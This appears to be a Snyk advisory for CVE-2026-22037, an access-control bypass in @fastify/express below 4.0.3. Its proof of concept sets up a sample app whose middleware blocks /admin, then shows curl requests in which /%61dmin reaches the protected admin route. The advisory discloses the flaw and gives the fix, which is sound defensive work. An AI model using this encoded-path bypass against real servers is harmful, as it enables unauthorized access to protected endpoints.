Improper Handling of URL Encoding (Hex Encoding) Affecting @fastify/express package, versions <4.0.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-JS-FASTIFYEXPRESS-15038741
- published20 Jan 2026
- disclosed19 Jan 2026
- creditHarsh Jaiswal
Introduced: 19 Jan 2026
CVE-2026-22037 (opens in a new tab)How to fix?
Upgrade @fastify/express to version 4.0.3 or higher.
Overview
@fastify/express is an Express compatibility layer for Fastify
Affected versions of this package are vulnerable to Improper Handling of URL Encoding (Hex Encoding) where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). An attacker can gain unauthorized access to protected endpoints by sending such requests.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express'));
// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });
// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });
fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });
fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; });
// Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } }
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html>(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"}